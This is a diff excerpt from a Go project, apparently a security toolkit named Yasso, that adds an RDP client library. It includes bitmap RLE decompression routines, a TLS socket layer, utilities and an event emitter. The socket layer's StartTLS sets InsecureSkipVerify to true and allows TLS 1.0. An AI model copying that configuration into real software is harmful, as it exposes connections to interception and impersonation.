// if ((lastopcode == opcode) && !((x == width) && (prevline == NULL))){
|
||||
// insertmix = true;
|
||||
// }
|
||||
// break;
|
||||
// case 8: /* Bicolour */
|
||||
// colour1 = CVAL(input);
|
||||
// case 3: /* Colour */
|
||||
// colour2 = CVAL(input);
|
||||
// break;
|
||||
// case 6: /* SetMix/Mix */
|
||||
// case 7: /* SetMix/FillOrMix */
|
||||
// mix = CVAL(input);
|
||||
// opcode -= 5;
|
||||
// break;
|
||||
// case 9: /* FillOrMix_1 */
|
||||
// mask = 0x03;
|
||||
// opcode = 0x02;
|
||||
// fom_mask = 3;
|
||||
// break;
|
||||
// case 0x0a: /* FillOrMix_2 */
|
||||
// mask = 0x05;
|
||||
// opcode = 0x02;
|
||||
// fom_mask = 5;
|
||||
// break;
|
||||
// }
|
||||
// lastopcode = opcode;
|
||||
// mixmask = 0;
|
||||
// /* Output body */
|
||||
// for (count > 0){
|
||||
// if (x >= width){
|
||||
// if (height <= 0)
|
||||
// return false;
|
||||
// x = 0;
|
||||
// height--;
|
||||
// prevline = line;
|
||||
// line = output + height * width;
|
||||
// }
|
||||
// switch (opcode){
|
||||
// case 0: /* Fill */
|
||||
// if (insertmix){
|
||||
// if (prevline == NULL)
|
||||
// line[x] = mix;
|
||||
// else
|
||||
// line[x] = prevline[x] ^ mix;
|
||||
// insertmix = false;
|
||||
// count--;
|
||||
// x++;
|
||||
// }
|
||||
// if (prevline == NULL){
|
||||
// REPEAT(line[x] = 0)
|
||||
// }else{
|
||||
// REPEAT(line[x] = prevline[x])
|
||||
// }
|
||||
// break;
|
||||
// case 1: /* Mix */
|
||||
// if (prevline == NULL){
|
||||
// REPEAT(line[x] = mix)
|
||||
// }else{
|
||||
// REPEAT(line[x] = prevline[x] ^ mix)
|
||||
// }
|
||||
// break;
|
||||
// case 2: /* Fill or Mix */
|
||||
// if (prevline == NULL){
|
||||
// REPEAT
|
||||
// (
|
||||
// MASK_UPDATE();
|
||||
// if (mask & mixmask)
|
||||
// line[x] = mix;
|
||||
// else
|
||||
// line[x] = 0;
|
||||
// )
|
||||
// }else{
|
||||
// REPEAT
|
||||
// (
|
||||
// MASK_UPDATE();
|
||||
// if (mask & mixmask)
|
||||
// line[x] = prevline[x] ^ mix;
|
||||
// else
|
||||
// line[x] = prevline[x];
|
||||
// )
|
||||
// }
|
||||
// break;
|
||||
// case 3: /* Colour */
|
||||
// REPEAT(line[x] = colour2)
|
||||
// break;
|
||||
// case 4: /* Copy */
|
||||
// REPEAT(line[x] = CVAL(input))
|
||||
// break;
|
||||
// case 8: /* Bicolour */
|
||||
// REPEAT
|
||||
// (
|
||||
// if (bicolour)
|
||||
// {
|
||||
// line[x] = colour2;
|
||||
// bicolour = false;
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// line[x] = colour1;
|
||||
// bicolour = true; count++;
|
||||
// }
|
||||
// )
|
||||
// break;
|
||||
// case 0xd: /* White */
|
||||
// REPEAT(line[x] = 0xff)
|
||||
// break;
|
||||
// case 0xe: /* Black */
|
||||
// REPEAT(line[x] = 0)
|
||||
// break;
|
||||
// default:
|
||||
// fmt.Printf("bitmap opcode 0x%x\n", opcode);
|
||||
// return false;
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// return true;
|
||||
// }
|
||||
|
||||
// /* 2 byte bitmap decompress */
|
||||
func decompress2(output *[]uint8, width, height int, input []uint8, size int) bool {
|
||||
var (
|
||||
prevline, line int
|
||||
opcode, count, offset, code int
|
||||
x int = width
|
||||
lastopcode int = -1
|
||||
insertmix, bicolour, isfillormix bool
|
||||
mixmask, mask uint8
|
||||
colour1, colour2 uint16
|
||||
mix uint16 = 0xffff
|
||||
fom_mask uint8
|
||||
)
|
||||
|
||||
out := make([]uint16, width*height)
|
||||
for len(input) != 0 {
|
||||
fom_mask = 0
|
||||
code = CVAL(&input)
|
||||
opcode = code >> 4
|
||||
/* Handle different opcode forms */
|
||||
switch opcode {
|
||||
case 0xc, 0xd, 0xe:
|
||||
opcode -= 6
|
||||
count = code & 0xf
|
||||
offset = 16
|
||||
break
|
||||
case 0xf:
|
||||
opcode = code & 0xf
|
||||
if opcode < 9 {
|
||||
count = CVAL(&input)
|
||||
count |= CVAL(&input) << 8
|
||||
} else {
|
||||
count = 1
|
||||
if opcode < 0xb {
|
||||
count = 8
|
||||
}
|
||||
}
|
||||
offset = 0
|
||||
break
|
||||
default:
|
||||
opcode >>= 1
|
||||
count = code & 0x1f
|
||||
offset = 32
|
||||
break
|
||||
}
|
||||
|
||||
/* Handle strange cases for counts */
|
||||
if offset != 0 {
|
||||
isfillormix = ((opcode == 2) || (opcode == 7))
|
||||
if count == 0 {
|
||||
if isfillormix {
|
||||
count = CVAL(&input) + 1
|
||||
} else {
|
||||
count = CVAL(&input) + offset
|
||||
}
|
||||
} else if isfillormix {
|
||||
count <<= 3
|
||||
}
|
||||
}
|
||||
/* Read preliminary data */
|
||||
switch opcode {
|
||||
case 0: /* Fill */
|
||||
if (lastopcode == opcode) && !((x == width) && (prevline == 0)) {
|
||||
insertmix = true
|
||||
}
|
||||
break
|
||||
case 8: /* Bicolour */
|
||||
CVAL2(&input, &colour1)
|
||||
CVAL2(&input, &colour2)
|
||||
break
|
||||
case 3: /* Colour */
|
||||
CVAL2(&input, &colour2)
|
||||
break
|
||||
case 6: /* SetMix/Mix */
|
||||
fallthrough
|
||||
case 7: /* SetMix/FillOrMix */
|
||||
CVAL2(&input, &mix)
|
||||
opcode -= 5
|
||||
break
|
||||
case 9: /* FillOrMix_1 */
|
||||
mask = 0x03
|
||||
opcode = 0x02
|
||||
fom_mask = 3
|
||||
break
|
||||
case 0x0a: /* FillOrMix_2 */
|
||||
mask = 0x05
|
||||
opcode = 0x02
|
||||
fom_mask = 5
|
||||
break
|
||||
}
|
||||
lastopcode = opcode
|
||||
mixmask = 0
|
||||
/* Output body */
|
||||
for count > 0 {
|
||||
if x >= width {
|
||||
if height <= 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
x = 0
|
||||
height--
|
||||
prevline = line
|
||||
line = height * width
|
||||
}
|
||||
switch opcode {
|
||||
case 0: /* Fill */
|
||||
if insertmix {
|
||||
if prevline == 0 {
|
||||
out[x+line] = mix
|
||||
} else {
|
||||
out[x+line] = out[prevline+x] ^ mix
|
||||
}
|
||||
insertmix = false
|
||||
count--
|
||||
x++
|
||||
}
|
||||
if prevline == 0 {
|
||||
REPEAT(func() {
|
||||
out[x+line] = 0
|
||||
}, &count, &x, width)
|
||||
} else {
|
||||
REPEAT(func() {
|
||||
out[x+line] = out[prevline+x]
|
||||
}, &count, &x, width)
|
||||
}
|
||||
break
|
||||
case 1: /* Mix */
|
||||
if prevline == 0 {
|
||||
REPEAT(func() {
|
||||
out[x+line] = mix
|
||||
}, &count, &x, width)
|
||||
} else {
|
||||
REPEAT(func() {
|
||||
out[x+line] = out[prevline+x] ^ mix
|
||||
}, &count, &x, width)
|
||||
}
|
||||
break
|
||||
case 2: /* Fill or Mix */
|
||||
if prevline == 0 {
|
||||
REPEAT(func() {
|
||||
mixmask <<= 1
|
||||
if mixmask == 0 {
|
||||
mask = fom_mask
|
||||
if fom_mask == 0 {
|
||||
mask = uint8(CVAL(&input))
|
||||
mixmask = 1
|
||||
}
|
||||
}
|
||||
if mask&mixmask != 0 {
|
||||
out[x+line] = mix
|
||||
} else {
|
||||
out[x+line] = 0
|
||||
}
|
||||
}, &count, &x, width)
|
||||
} else {
|
||||
REPEAT(func() {
|
||||
mixmask = mixmask << 1
|
||||
if mixmask == 0 {
|
||||
mask = fom_mask
|
||||
if fom_mask == 0 {
|
||||
mask = uint8(CVAL(&input))
|
||||
mixmask = 1
|
||||
}
|
||||
}
|
||||
if mask&mixmask != 0 {
|
||||
out[x+line] = out[prevline+x] ^ mix
|
||||
} else {
|
||||
out[x+line] = out[prevline+x]
|
||||
}
|
||||
}, &count, &x, width)
|
||||
}
|
||||
break
|
||||
case 3: /* Colour */
|
||||
REPEAT(func() {
|
||||
out[x+line] = colour2
|
||||
}, &count, &x, width)
|
||||
break
|
||||
case 4: /* Copy */
|
||||
REPEAT(func() {
|
||||
var a uint16
|
||||
CVAL2(&input, &a)
|
||||
out[x+line] = a
|
||||
}, &count, &x, width)
|
||||
|
||||
break
|
||||
case 8: /* Bicolour */
|
||||
REPEAT(func() {
|
||||
if bicolour {
|
||||
out[x+line] = colour2
|
||||
bicolour = false
|
||||
} else {
|
||||
out[x+line] = colour1
|
||||
bicolour = true
|
||||
count++
|
||||
}
|
||||
}, &count, &x, width)
|
||||
|
||||
break
|
||||
case 0xd: /* White */
|
||||
REPEAT(func() {
|
||||
out[x+line] = 0xffff
|
||||
}, &count, &x, width)
|
||||
break
|
||||
case 0xe: /* Black */
|
||||
REPEAT(func() {
|
||||
out[x+line] = 0
|
||||
}, &count, &x, width)
|
||||
break
|
||||
default:
|
||||
glog.Infof("bitmap opcode 0x%x\n", opcode)
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
j := 0
|
||||
for _, v := range out {
|
||||
(*output)[j], (*output)[j+1] = PutUint16BE(v)
|
||||
j += 2
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// /* 3 byte bitmap decompress */
|
||||
// func bitmap_decompress3(uint8 * output, int width, int height, uint8 * input, int size)bool{
|
||||
// uint8 *end = input + size;
|
||||
// uint8 *prevline = NULL, *line = NULL;
|
||||
// int opcode, count, offset, isfillormix, x = width;
|
||||
// int lastopcode = -1, insertmix = false, bicolour = false;
|
||||
// uint8 code;
|
||||
// uint8 colour1[3] = {0, 0, 0}, colour2[3] = {0, 0, 0};
|
||||
// uint8 mixmask, mask = 0;
|
||||
// uint8 mix[3] = {0xff, 0xff, 0xff};
|
||||
// int fom_mask = 0;
|
||||
|
||||
// while (input < end)
|
||||
// {
|
||||
// fom_mask = 0;
|
||||
// code = CVAL(input);
|
||||
// opcode = code >> 4;
|
||||
// /* Handle different opcode forms */
|
||||
// switch (opcode)
|
||||
// {
|
||||
// case 0xc:
|
||||
// case 0xd:
|
||||
// case 0xe:
|
||||
// opcode -= 6;
|
||||
// count = code & 0xf;
|
||||
// offset = 16;
|
||||
// break;
|
||||
// case 0xf:
|
||||
// opcode = code & 0xf;
|
||||
// if (opcode < 9)
|
||||
// {
|
||||
// count = CVAL(input);
|
||||
// count |= CVAL(input) << 8;
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// count = (opcode <
|
||||
// 0xb) ? 8 : 1;
|
||||
// }
|
||||
// offset = 0;
|
||||
// break;
|
||||
// default:
|
||||
// opcode >>= 1;
|
||||
// count = code & 0x1f;
|
||||
// offset = 32;
|
||||
// break;
|
||||
// }
|
||||
// /* Handle strange cases for counts */
|
||||
// if (offset != 0)
|
||||
// {
|
||||
// isfillormix = ((opcode == 2) || (opcode == 7));
|
||||
// if (count == 0)
|
||||
// {
|
||||
// if (isfillormix)
|
||||
// count = CVAL(input) + 1;
|
||||
// else
|
||||
// count = CVAL(input) + offset;
|
||||
// }
|
||||
// else if (isfillormix)
|
||||
// {
|
||||
// count <<= 3;
|
||||
// }
|
||||
// }
|
||||
// /* Read preliminary data */
|
||||
// switch (opcode)
|
||||
// {
|
||||
// case 0: /* Fill */
|
||||
// if ((lastopcode == opcode) && !((x == width) && (prevline == NULL)))
|
||||
// insertmix = true;
|
||||
// break;
|
||||
// case 8: /* Bicolour */
|
||||
// colour1[0] = CVAL(input);
|
||||
// colour1[1] = CVAL(input);
|
||||
// colour1[2] = CVAL(input);
|
||||
// case 3: /* Colour */
|
||||
// colour2[0] = CVAL(input);
|
||||
// colour2[1] = CVAL(input);
|
||||
// colour2[2] = CVAL(input);
|
||||
// break;
|
||||
// case 6: /* SetMix/Mix */
|
||||
// case 7: /* SetMix/FillOrMix */
|
||||
// mix[0] = CVAL(input);
|
||||
// mix[1] = CVAL(input);
|
||||
// mix[2] = CVAL(input);
|
||||
// opcode -= 5;
|
||||
// break;
|
||||
// case 9: /* FillOrMix_1 */
|
||||
// mask = 0x03;
|
||||
// opcode = 0x02;
|
||||
// fom_mask = 3;
|
||||
// break;
|
||||
// case 0x0a: /* FillOrMix_2 */
|
||||
// mask = 0x05;
|
||||
// opcode = 0x02;
|
||||
// fom_mask = 5;
|
||||
// break;
|
||||
// }
|
||||
// lastopcode = opcode;
|
||||
// mixmask = 0;
|
||||
// /* Output body */
|
||||
// while (count > 0)
|
||||
// {
|
||||
// if (x >= width)
|
||||
// {
|
||||
// if (height <= 0)
|
||||
// return false;
|
||||
// x = 0;
|
||||
// height--;
|
||||
// prevline = line;
|
||||
// line = output + height * (width * 3);
|
||||
// }
|
||||
// switch (opcode)
|
||||
// {
|
||||
// case 0: /* Fill */
|
||||
// if (insertmix)
|
||||
// {
|
||||
// if (prevline == NULL)
|
||||
// {
|
||||
// line[x * 3] = mix[0];
|
||||
// line[x * 3 + 1] = mix[1];
|
||||
// line[x * 3 + 2] = mix[2];
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// line[x * 3] =
|
||||
// prevline[x * 3] ^ mix[0];
|
||||
// line[x * 3 + 1] =
|
||||
// prevline[x * 3 + 1] ^ mix[1];
|
||||
// line[x * 3 + 2] =
|
||||
// prevline[x * 3 + 2] ^ mix[2];
|
||||
// }
|
||||
// insertmix = false;
|
||||
// count--;
|
||||
// x++;
|
||||
// }
|
||||
// if (prevline == NULL)
|
||||
// {
|
||||
// REPEAT
|
||||
// (
|
||||
// line[x * 3] = 0;
|
||||
// line[x * 3 + 1] = 0;
|
||||
// line[x * 3 + 2] = 0;
|
||||
// )
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// REPEAT
|
||||
// (
|
||||
// line[x * 3] = prevline[x * 3];
|
||||
// line[x * 3 + 1] = prevline[x * 3 + 1];
|
||||
// line[x * 3 + 2] = prevline[x * 3 + 2];
|
||||
// )
|
||||
// }
|
||||
// break;
|
||||
// case 1: /* Mix */
|
||||
// if (prevline == NULL)
|
||||
// {
|
||||
// REPEAT
|
||||
// (
|
||||
// line[x * 3] = mix[0];
|
||||
// line[x * 3 + 1] = mix[1];
|
||||
// line[x * 3 + 2] = mix[2];
|
||||
// )
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// REPEAT
|
||||
// (
|
||||
// line[x * 3] =
|
||||
// prevline[x * 3] ^ mix[0];
|
||||
// line[x * 3 + 1] =
|
||||
// prevline[x * 3 + 1] ^ mix[1];
|
||||
// line[x * 3 + 2] =
|
||||
// prevline[x * 3 + 2] ^ mix[2];
|
||||
// )
|
||||
// }
|
||||
// break;
|
||||
// case 2: /* Fill or Mix */
|
||||
// if (prevline == NULL)
|
||||
// {
|
||||
// REPEAT
|
||||
// (
|
||||
// MASK_UPDATE();
|
||||
// if (mask & mixmask)
|
||||
// {
|
||||
// line[x * 3] = mix[0];
|
||||
// line[x * 3 + 1] = mix[1];
|
||||
// line[x * 3 + 2] = mix[2];
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// line[x * 3] = 0;
|
||||
// line[x * 3 + 1] = 0;
|
||||
// line[x * 3 + 2] = 0;
|
||||
// }
|
||||
// )
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// REPEAT
|
||||
// (
|
||||
// MASK_UPDATE();
|
||||
// if (mask & mixmask)
|
||||
// {
|
||||
// line[x * 3] =
|
||||
// prevline[x * 3] ^ mix [0];
|
||||
// line[x * 3 + 1] =
|
||||
// prevline[x * 3 + 1] ^ mix [1];
|
||||
// line[x * 3 + 2] =
|
||||
// prevline[x * 3 + 2] ^ mix [2];
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// line[x * 3] =
|
||||
// prevline[x * 3];
|
||||
// line[x * 3 + 1] =
|
||||
// prevline[x * 3 + 1];
|
||||
// line[x * 3 + 2] =
|
||||
// prevline[x * 3 + 2];
|
||||
// }
|
||||
// )
|
||||
// }
|
||||
// break;
|
||||
// case 3: /* Colour */
|
||||
// REPEAT
|
||||
// (
|
||||
// line[x * 3] = colour2 [0];
|
||||
// line[x * 3 + 1] = colour2 [1];
|
||||
// line[x * 3 + 2] = colour2 [2];
|
||||
// )
|
||||
// break;
|
||||
// case 4: /* Copy */
|
||||
// REPEAT
|
||||
// (
|
||||
// line[x * 3] = CVAL(input);
|
||||
// line[x * 3 + 1] = CVAL(input);
|
||||
// line[x * 3 + 2] = CVAL(input);
|
||||
// )
|
||||
// break;
|
||||
// case 8: /* Bicolour */
|
||||
// REPEAT
|
||||
// (
|
||||
// if (bicolour)
|
||||
// {
|
||||
// line[x * 3] = colour2[0];
|
||||
// line[x * 3 + 1] = colour2[1];
|
||||
// line[x * 3 + 2] = colour2[2];
|
||||
// bicolour = false;
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// line[x * 3] = colour1[0];
|
||||
// line[x * 3 + 1] = colour1[1];
|
||||
// line[x * 3 + 2] = colour1[2];
|
||||
// bicolour = true;
|
||||
// count++;
|
||||
// }
|
||||
// )
|
||||
// break;
|
||||
// case 0xd: /* White */
|
||||
// REPEAT
|
||||
// (
|
||||
// line[x * 3] = 0xff;
|
||||
// line[x * 3 + 1] = 0xff;
|
||||
// line[x * 3 + 2] = 0xff;
|
||||
// )
|
||||
// break;
|
||||
// case 0xe: /* Black */
|
||||
// REPEAT
|
||||
// (
|
||||
// line[x * 3] = 0;
|
||||
// line[x * 3 + 1] = 0;
|
||||
// line[x * 3 + 2] = 0;
|
||||
// )
|
||||
// break;
|
||||
// default:
|
||||
// fmt.Printf("bitmap opcode 0x%x\n", opcode);
|
||||
// return false;
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// return true;
|
||||
// }
|
||||
|
||||
/* decompress a colour plane */
|
||||
func processPlane(in *[]uint8, width, height int, output *[]uint8, j int) int {
|
||||
var (
|
||||
indexw int
|
||||
indexh int
|
||||
code int
|
||||
collen int
|
||||
replen int
|
||||
color int
|
||||
x int
|
||||
revcode int
|
||||
lastline int
|
||||
thisline int
|
||||
)
|
||||
ln := len(*in)
|
||||
|
||||
lastline = 0
|
||||
indexh = 0
|
||||
i := 0
|
||||
for indexh < height {
|
||||
thisline = j + (width * height * 4) - ((indexh + 1) * width * 4)
|
||||
color = 0
|
||||
indexw = 0
|
||||
i = thisline
|
||||
|
||||
if lastline == 0 {
|
||||
for indexw < width {
|
||||
code = CVAL(in)
|
||||
replen = code & 0xf
|
||||
collen = (code >> 4) & 0xf
|
||||
revcode = (replen << 4) | collen
|
||||
if (revcode <= 47) && (revcode >= 16) {
|
||||
replen = revcode
|
||||
collen = 0
|
||||
}
|
||||
for collen > 0 {
|
||||
color = CVAL(in)
|
||||
(*output)[i] = uint8(color)
|
||||
i += 4
|
||||
|
||||
indexw++
|
||||
collen--
|
||||
}
|
||||
for replen > 0 {
|
||||
(*output)[i] = uint8(color)
|
||||
i += 4
|
||||
indexw++
|
||||
replen--
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for indexw < width {
|
||||
code = CVAL(in)
|
||||
replen = code & 0xf
|
||||
collen = (code >> 4) & 0xf
|
||||
revcode = (replen << 4) | collen
|
||||
if (revcode <= 47) && (revcode >= 16) {
|
||||
replen = revcode
|
||||
collen = 0
|
||||
}
|
||||
for collen > 0 {
|
||||
x = CVAL(in)
|
||||
if x&1 != 0 {
|
||||
x = x >> 1
|
||||
x = x + 1
|
||||
color = -x
|
||||
} else {
|
||||
x = x >> 1
|
||||
color = x
|
||||
}
|
||||
x = int((*output)[indexw*4+lastline]) + color
|
||||
(*output)[i] = uint8(x)
|
||||
i += 4
|
||||
indexw++
|
||||
collen--
|
||||
}
|
||||
for replen > 0 {
|
||||
x = int((*output)[indexw*4+lastline]) + color
|
||||
(*output)[i] = uint8(x)
|
||||
i += 4
|
||||
indexw++
|
||||
replen--
|
||||
}
|
||||
}
|
||||
}
|
||||
indexh++
|
||||
lastline = thisline
|
||||
}
|
||||
return ln - len(*in)
|
||||
}
|
||||
|
||||
/* 4 byte bitmap decompress */
|
||||
func decompress4(output *[]uint8, width, height int, input []uint8, size int) bool {
|
||||
var (
|
||||
code int
|
||||
onceBytes, total int
|
||||
)
|
||||
|
||||
code = CVAL(&input)
|
||||
if code != 0x10 {
|
||||
return false
|
||||
}
|
||||
|
||||
total = 1
|
||||
onceBytes = processPlane(&input, width, height, output, 3)
|
||||
total += onceBytes
|
||||
|
||||
onceBytes = processPlane(&input, width, height, output, 2)
|
||||
total += onceBytes
|
||||
|
||||
onceBytes = processPlane(&input, width, height, output, 1)
|
||||
total += onceBytes
|
||||
|
||||
onceBytes = processPlane(&input, width, height, output, 0)
|
||||
total += onceBytes
|
||||
|
||||
return size == total
|
||||
}
|
||||
|
||||
/* main decompress function */
|
||||
func Decompress(input []uint8, width, height int, Bpp int) []uint8 {
|
||||
size := width * height * Bpp
|
||||
output := make([]uint8, size)
|
||||
switch Bpp {
|
||||
case 1:
|
||||
//decompress1(output, width, height, input, size)
|
||||
case 2:
|
||||
decompress2(&output, width, height, input, size)
|
||||
case 3:
|
||||
//decompress3(output, width, height, input, size)
|
||||
case 4:
|
||||
decompress4(&output, width, height, input, size)
|
||||
default:
|
||||
glog.Infof("Bpp %d\n", Bpp)
|
||||
}
|
||||
|
||||
return output
|
||||
}
|
||||
10
pkg/grdp/core/rle_test.go
Normal file
10
pkg/grdp/core/rle_test.go
Normal file
@@ -0,0 +1,10 @@
|
||||
// rle_test.go
|
||||
package core
|
||||
|
||||
//func TestSum() {
|
||||
// input := []byte{
|
||||
// 192, 44, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8, 0, 19, 132, 232, 8, 12, 50, 142, 66, 77, 58, 208, 59, 225, 25, 1, 0, 0, 0, 0, 0, 0, 0, 132, 139, 33, 142, 66, 142, 66, 142, 66, 208, 59, 4, 43, 1, 0, 0, 0, 0, 0, 0, 0, 132, 203, 41, 142, 66, 142, 66, 142, 66, 208, 59, 96, 0, 1, 0, 0, 0, 0, 0, 0, 0, 132, 9, 17, 142, 66, 142, 66, 142, 66, 208, 59, 230, 27, 1, 0, 0, 0, 0, 0, 0, 0, 132, 200, 8, 9, 17, 139, 33, 74, 25, 243, 133, 14, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8,
|
||||
// }
|
||||
// out := decompress(input, 64, 64, 2)
|
||||
// fmt.Println(out)
|
||||
//}
|
||||
75
pkg/grdp/core/socket.go
Normal file
75
pkg/grdp/core/socket.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"crypto/rsa"
|
||||
"math/big"
|
||||
|
||||
"github.com/huin/asn1ber"
|
||||
|
||||
//"crypto/tls"
|
||||
"errors"
|
||||
"net"
|
||||
|
||||
"github.com/icodeface/tls"
|
||||
)
|
||||
|
||||
type SocketLayer struct {
|
||||
conn net.Conn
|
||||
tlsConn *tls.Conn
|
||||
}
|
||||
|
||||
func NewSocketLayer(conn net.Conn) *SocketLayer {
|
||||
l := &SocketLayer{
|
||||
conn: conn,
|
||||
tlsConn: nil,
|
||||
}
|
||||
return l
|
||||
}
|
||||
|
||||
func (s *SocketLayer) Read(b []byte) (n int, err error) {
|
||||
if s.tlsConn != nil {
|
||||
return s.tlsConn.Read(b)
|
||||
}
|
||||
return s.conn.Read(b)
|
||||
}
|
||||
|
||||
func (s *SocketLayer) Write(b []byte) (n int, err error) {
|
||||
if s.tlsConn != nil {
|
||||
return s.tlsConn.Write(b)
|
||||
}
|
||||
return s.conn.Write(b)
|
||||
}
|
||||
|
||||
func (s *SocketLayer) Close() error {
|
||||
if s.tlsConn != nil {
|
||||
err := s.tlsConn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return s.conn.Close()
|
||||
}
|
||||
|
||||
func (s *SocketLayer) StartTLS() error {
|
||||
config := &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
MinVersion: tls.VersionTLS10,
|
||||
MaxVersion: tls.VersionTLS13,
|
||||
PreferServerCipherSuites: true,
|
||||
}
|
||||
s.tlsConn = tls.Client(s.conn, config)
|
||||
return s.tlsConn.Handshake()
|
||||
}
|
||||
|
||||
type PublicKey struct {
|
||||
N *big.Int `asn1:"explicit,tag:0"` // modulus
|
||||
E int `asn1:"explicit,tag:1"` // public exponent
|
||||
}
|
||||
|
||||
func (s *SocketLayer) TlsPubKey() ([]byte, error) {
|
||||
if s.tlsConn == nil {
|
||||
return nil, errors.New("TLS conn does not exist")
|
||||
}
|
||||
pub := s.tlsConn.ConnectionState().PeerCertificates[0].PublicKey.(*rsa.PublicKey)
|
||||
return asn1ber.Marshal(*pub)
|
||||
}
|
||||
21
pkg/grdp/core/types.go
Normal file
21
pkg/grdp/core/types.go
Normal file
@@ -0,0 +1,21 @@
|
||||
package core
|
||||
|
||||
import "Yasso/pkg/grdp/emission"
|
||||
|
||||
type Transport interface {
|
||||
Read(b []byte) (n int, err error)
|
||||
Write(b []byte) (n int, err error)
|
||||
Close() error
|
||||
|
||||
On(event, listener interface{}) *emission.Emitter
|
||||
Once(event, listener interface{}) *emission.Emitter
|
||||
Emit(event interface{}, arguments ...interface{}) *emission.Emitter
|
||||
}
|
||||
|
||||
type FastPathListener interface {
|
||||
RecvFastPath(secFlag byte, s []byte)
|
||||
}
|
||||
|
||||
type FastPathSender interface {
|
||||
SendFastPath(secFlag byte, s []byte) (int, error)
|
||||
}
|
||||
52
pkg/grdp/core/util.go
Normal file
52
pkg/grdp/core/util.go
Normal file
@@ -0,0 +1,52 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
"unicode/utf16"
|
||||
)
|
||||
|
||||
func Reverse(s []byte) []byte {
|
||||
for i, j := 0, len(s)-1; i < j; i, j = i+1, j-1 {
|
||||
s[i], s[j] = s[j], s[i]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func Random(n int) []byte {
|
||||
const alpha = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
||||
var bytes = make([]byte, n)
|
||||
rand.Read(bytes)
|
||||
for i, b := range bytes {
|
||||
bytes[i] = alpha[b%byte(len(alpha))]
|
||||
}
|
||||
return bytes
|
||||
}
|
||||
|
||||
func convertUTF16ToLittleEndianBytes(u []uint16) []byte {
|
||||
b := make([]byte, 2*len(u))
|
||||
for index, value := range u {
|
||||
binary.LittleEndian.PutUint16(b[index*2:], value)
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// s.encode('utf-16le')
|
||||
func UnicodeEncode(p string) []byte {
|
||||
return convertUTF16ToLittleEndianBytes(utf16.Encode([]rune(p)))
|
||||
}
|
||||
|
||||
func UnicodeDecode(p []byte) string {
|
||||
b := make([]byte, 2)
|
||||
n := make([]uint16, 0, len(p)/2)
|
||||
for i, v := range p {
|
||||
if i%2 == 0 {
|
||||
b[0] = v
|
||||
} else {
|
||||
b[1] = v
|
||||
a := binary.LittleEndian.Uint16(b)
|
||||
n = append(n, a)
|
||||
}
|
||||
}
|
||||
return string(utf16.Decode(n))
|
||||
}
|
||||
273
pkg/grdp/emission/emitter.go
Normal file
273
pkg/grdp/emission/emitter.go
Normal file
@@ -0,0 +1,273 @@
|
||||
// Package emission provides an event emitter.
|
||||
// copy form https://raw.githubusercontent.com/chuckpreslar/emission/master/emitter.go
|
||||
// fix issue with nest once
|
||||
|
||||
package emission
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"reflect"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Default number of maximum listeners for an event.
|
||||
const DefaultMaxListeners = 10
|
||||
|
||||
// Error presented when an invalid argument is provided as a listener function
|
||||
var ErrNoneFunction = errors.New("Kind of Value for listener is not Func.")
|
||||
|
||||
// RecoveryListener ...
|
||||
type RecoveryListener func(interface{}, interface{}, error)
|
||||
|
||||
// Emitter ...
|
||||
type Emitter struct {
|
||||
// Mutex to prevent race conditions within the Emitter.
|
||||
*sync.Mutex
|
||||
// Map of event to a slice of listener function's reflect Values.
|
||||
events map[interface{}][]reflect.Value
|
||||
// Optional RecoveryListener to call when a panic occurs.
|
||||
recoverer RecoveryListener
|
||||
// Maximum listeners for debugging potential memory leaks.
|
||||
maxListeners int
|
||||
|
||||
// Map of event to a slice of listener function's reflect Values.
|
||||
onces map[interface{}][]reflect.Value
|
||||
}
|
||||
|
||||
// AddListener appends the listener argument to the event arguments slice
|
||||
// in the Emitter's events map. If the number of listeners for an event
|
||||
// is greater than the Emitter's maximum listeners then a warning is printed.
|
||||
// If the relect Value of the listener does not have a Kind of Func then
|
||||
// AddListener panics. If a RecoveryListener has been set then it is called
|
||||
// recovering from the panic.
|
||||
func (emitter *Emitter) AddListener(event, listener interface{}) *Emitter {
|
||||
emitter.Lock()
|
||||
defer emitter.Unlock()
|
||||
|
||||
fn := reflect.ValueOf(listener)
|
||||
|
||||
if reflect.Func != fn.Kind() {
|
||||
if nil == emitter.recoverer {
|
||||
panic(ErrNoneFunction)
|
||||
} else {
|
||||
emitter.recoverer(event, listener, ErrNoneFunction)
|
||||
}
|
||||
}
|
||||
|
||||
if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.events[event])+1 {
|
||||
fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+
|
||||
"number of listeners of %d.\n", event, emitter.maxListeners)
|
||||
}
|
||||
|
||||
emitter.events[event] = append(emitter.events[event], fn)
|
||||
|
||||
return emitter
|
||||
}
|
||||
|
||||
// On is an alias for AddListener.
|
||||
func (emitter *Emitter) On(event, listener interface{}) *Emitter {
|
||||
return emitter.AddListener(event, listener)
|
||||
}
|
||||
|
||||
// RemoveListener removes the listener argument from the event arguments slice
|
||||
